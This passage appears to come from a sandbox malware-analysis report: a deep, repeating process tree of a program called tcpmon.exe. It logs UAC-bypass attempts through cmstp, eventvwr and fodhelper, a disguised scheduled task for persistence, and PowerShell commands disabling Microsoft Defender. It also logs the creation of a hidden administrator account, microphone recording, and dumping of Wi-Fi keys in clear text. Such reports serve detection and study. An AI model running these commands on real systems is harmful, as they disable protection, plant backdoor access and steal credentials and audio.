  - - C:\Windows\System32\cmstp.exe
      "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\0d571f47-be4a-44eb-88c2-e43936885b6f.inf
      4⤵
      PID:4676
  - - C:\Windows\System32\eventvwr.exe
      "C:\Windows\System32\eventvwr.exe"
      4⤵
      PID:2556
    - - C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        5⤵
        
        PID:5328
  - - C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      4⤵
      PID:2312
    - - C:\Users\Admin\AppData\Local\tcpmon.exe
        
        "C:\Users\Admin\AppData\Local\tcpmon.exe"
        5⤵
        
        PID:1868
      - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\tcpmon.exe" /sc onlogon /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4244
      - C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\8ee2e833-5aa8-4139-97da-0d45d99675ed.inf
        6⤵
        
        PID:2860
      - C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        6⤵
        
        PID:2520
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        7⤵
        
        PID:4892
      - C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        6⤵
        
        PID:2656
        
        C:\Users\Admin\AppData\Local\tcpmon.exe
        
        "C:\Users\Admin\AppData\Local\tcpmon.exe"
        7⤵
        
        PID:6384
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\tcpmon.exe" /sc onlogon /f
        8⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:6880
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\e84a1545-d8cd-4378-9911-a5f5bf06653c.inf
        8⤵
        
        PID:7004
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        8⤵
        
        PID:7068
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        9⤵
        
        PID:2932
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        8⤵
        
        PID:6240
        
        C:\Users\Admin\AppData\Local\tcpmon.exe
        
        "C:\Users\Admin\AppData\Local\tcpmon.exe"
        9⤵
        
        PID:7020
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\tcpmon.exe" /sc onlogon /f
        10⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:3800
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\3d31788b-80dc-46c2-9150-67c11e26619c.inf
        10⤵
        
        PID:7296
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        10⤵
        
        PID:7364
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        11⤵
        
        PID:7504
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        10⤵
        
        PID:7476
        
        C:\Users\Admin\AppData\Local\tcpmon.exe
        
        "C:\Users\Admin\AppData\Local\tcpmon.exe"
        11⤵
        
        PID:8032
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\tcpmon.exe" /sc onlogon /f
        12⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2972
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\5380942d-138b-44b7-b571-fef34a1ce546.inf
        12⤵
        
        PID:7444
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        12⤵
        
        PID:7736
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        13⤵
        
        PID:4664
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        12⤵
        
        PID:6032
        
        C:\Users\Admin\AppData\Local\tcpmon.exe
        
        "C:\Users\Admin\AppData\Local\tcpmon.exe"
        13⤵
        
        PID:8764
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\tcpmon.exe" /sc onlogon /f
        14⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:9388
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\ac96e891-94b0-41be-9fb9-1fcdc3ec7de0.inf
        14⤵
        
        PID:9580
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        14⤵
        
        PID:9632
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        15⤵
        
        PID:9740
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        14⤵
        
        PID:10004
        
        C:\Users\Admin\AppData\Local\tcpmon.exe
        
        "C:\Users\Admin\AppData\Local\tcpmon.exe"
        15⤵
        
        PID:8240
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\tcpmon.exe" /sc onlogon /f
        16⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5340
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\73b60685-9e2b-488e-bd1e-cb8e9fc934bd.inf
        16⤵
        
        PID:10496
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        16⤵
        
        PID:10724
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        17⤵
        
        PID:10848
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        16⤵
        
        PID:10856
        
        C:\Users\Admin\AppData\Local\tcpmon.exe
        
        "C:\Users\Admin\AppData\Local\tcpmon.exe"
        17⤵
        
        PID:1388
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\tcpmon.exe" /sc onlogon /f
        18⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:11980
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\a734be0f-546d-476e-84be-a6651ba4cec6.inf
        18⤵
        
        PID:12240
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        18⤵
        
        PID:12264
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        19⤵
        
        PID:4544
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        18⤵
        
        PID:9844
        
        C:\Users\Admin\AppData\Local\tcpmon.exe
        
        "C:\Users\Admin\AppData\Local\tcpmon.exe"
        19⤵
        
        PID:8112
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\tcpmon.exe" /sc onlogon /f
        20⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:3940
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\f374af34-e227-4f14-b688-6ea30516760d.inf
        20⤵
        
        PID:10632
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        20⤵
        
        PID:11060
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        21⤵
        
        PID:5572
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        20⤵
        
        PID:10016
        
        C:\Users\Admin\AppData\Local\tcpmon.exe
        
        "C:\Users\Admin\AppData\Local\tcpmon.exe"
        21⤵
        
        PID:12652
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\tcpmon.exe" /sc onlogon /f
        22⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:11536
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\e98adf8c-1859-4872-8c37-53e4c85c9e01.inf
        22⤵
        
        PID:3012
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        22⤵
        
        PID:940
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        23⤵
        
        PID:4288
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        22⤵
        
        PID:1172
        
        C:\Users\Admin\AppData\Local\tcpmon.exe
        
        "C:\Users\Admin\AppData\Local\tcpmon.exe"
        23⤵
        
        PID:8304
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\tcpmon.exe" /sc onlogon /f
        24⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:7544
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\57d237b3-ecbd-4f0e-adb0-087f3b455f02.inf
        24⤵
        
        PID:6860
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        24⤵
        
        PID:2972
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        25⤵
        
        PID:9160
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        24⤵
        
        PID:12628
        
        C:\Users\Admin\AppData\Local\tcpmon.exe
        
        "C:\Users\Admin\AppData\Local\tcpmon.exe"
        25⤵
        
        PID:7424
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\tcpmon.exe" /sc onlogon /f
        26⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:14328
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\b505e422-2234-4f44-9a65-8bd60755f018.inf
        26⤵
        
        PID:12572
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        26⤵
        
        PID:13388
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        27⤵
        
        PID:13468
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        26⤵
        
        PID:13444
        
        C:\Users\Admin\AppData\Local\tcpmon.exe
        
        "C:\Users\Admin\AppData\Local\tcpmon.exe"
        27⤵
        
        PID:14160
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\tcpmon.exe" /sc onlogon /f
        28⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:11140
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\454ababb-23c6-41b6-a512-5e3ead8d6c6f.inf
        28⤵
        
        PID:10560
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        28⤵
        
        PID:12604
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        29⤵
        
        PID:12896
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        28⤵
        
        PID:10784
        
        C:\Users\Admin\AppData\Local\tcpmon.exe
        
        "C:\Users\Admin\AppData\Local\tcpmon.exe"
        29⤵
        
        PID:12524
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\tcpmon.exe" /sc onlogon /f
        30⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:13748
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\744e6f28-e1d7-4f3a-8238-c0c4c3e432f0.inf
        30⤵
        
        PID:9340
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        30⤵
        
        PID:1060
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        31⤵
        
        PID:4648
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        30⤵
        
        PID:6448
        
        C:\Users\Admin\AppData\Local\tcpmon.exe
        
        "C:\Users\Admin\AppData\Local\tcpmon.exe"
        31⤵
        
        PID:14464
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\tcpmon.exe" /sc onlogon /f
        32⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:10480
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\57ff8874-f971-40a4-8696-25bead93da99.inf
        32⤵
        
        PID:14432
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        32⤵
        
        PID:5400
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        33⤵
        
        PID:15284
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        32⤵
        
        PID:14880
        
        C:\Users\Admin\AppData\Local\tcpmon.exe
        
        "C:\Users\Admin\AppData\Local\tcpmon.exe"
        33⤵
        
        PID:14736
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\tcpmon.exe" /sc onlogon /f
        34⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:7868
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\7e2d21ad-0f0e-4afe-9e92-18985598e9bb.inf
        34⤵
        
        PID:14652
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        34⤵
        
        PID:9284
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        35⤵
        
        PID:11084
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        34⤵
        
        PID:9004
        
        C:\Users\Admin\AppData\Local\tcpmon.exe
        
        "C:\Users\Admin\AppData\Local\tcpmon.exe"
        35⤵
        
        PID:10396
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\tcpmon.exe" /sc onlogon /f
        36⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5728
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        34⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:15184
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        34⤵
        Creates a new local user account
        
        PID:15196
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        35⤵
        Creates a new local user account
        
        PID:8836
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        34⤵
        
        PID:9736
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        35⤵
        
        PID:1920
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        32⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:2468
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        32⤵
        Creates a new local user account
        
        PID:10836
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        33⤵
        Creates a new local user account
        
        PID:2652
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        32⤵
        
        PID:6420
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        33⤵
        
        PID:3012
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        32⤵
        
        PID:4732
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        30⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:13720
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        30⤵
        Creates a new local user account
        
        PID:14472
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        31⤵
        Creates a new local user account
        
        PID:14964
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        30⤵
        
        PID:15084
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        31⤵
        
        PID:2904
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        30⤵
        
        PID:6844
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        28⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:12804
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        28⤵
        Creates a new local user account
        
        PID:11496
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        29⤵
        Creates a new local user account
        
        PID:4360
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        28⤵
        
        PID:10664
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        29⤵
        
        PID:11716
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        28⤵
        
        PID:14904
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639274224450183000.wav')"
        28⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2112
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        28⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:6772
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        26⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:11872
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        26⤵
        Creates a new local user account
        
        PID:13964
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        27⤵
        Creates a new local user account
        
        PID:7596
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        26⤵
        
        PID:7208
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        27⤵
        
        PID:4772
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        26⤵
        
        PID:12308
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639274224347735068.wav')"
        26⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:14604
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        26⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:14932
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        24⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:2004
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        24⤵
        Creates a new local user account
        
        PID:13500
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        25⤵
        Creates a new local user account
        
        PID:14084
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        24⤵
        
        PID:14188
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        25⤵
        
        PID:11032
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        24⤵
        
        PID:8528
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639274224265673841.wav')"
        24⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3636
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        24⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:8972
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        22⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:11884
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        22⤵
        
        PID:2676
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        23⤵
        Creates a new local user account
        
        PID:6524
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        22⤵
        
        PID:13100
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        23⤵
        
        PID:11920
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        22⤵
        
        PID:14172
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639274224159207644.wav')"
        22⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:10332
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        22⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:6844
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        20⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:9516
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        20⤵
        
        PID:12700
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        21⤵
        Creates a new local user account
        
        PID:9052
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        20⤵
        
        PID:10140
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        21⤵
        
        PID:7652
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        20⤵
        
        PID:1656
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        20⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:3636
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639274224076101575.wav')"
        20⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:12740
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        18⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:10860
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        18⤵
        Creates a new local user account
        
        PID:8216
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        19⤵
        Creates a new local user account
        
        PID:10784
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        18⤵
        
        PID:10904
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        19⤵
        
        PID:10548
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        18⤵
        
        PID:12136
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639274223949355376.wav')"
        18⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:11628
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        18⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:6868
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        16⤵
        Disables one or more Microsoft Defender components
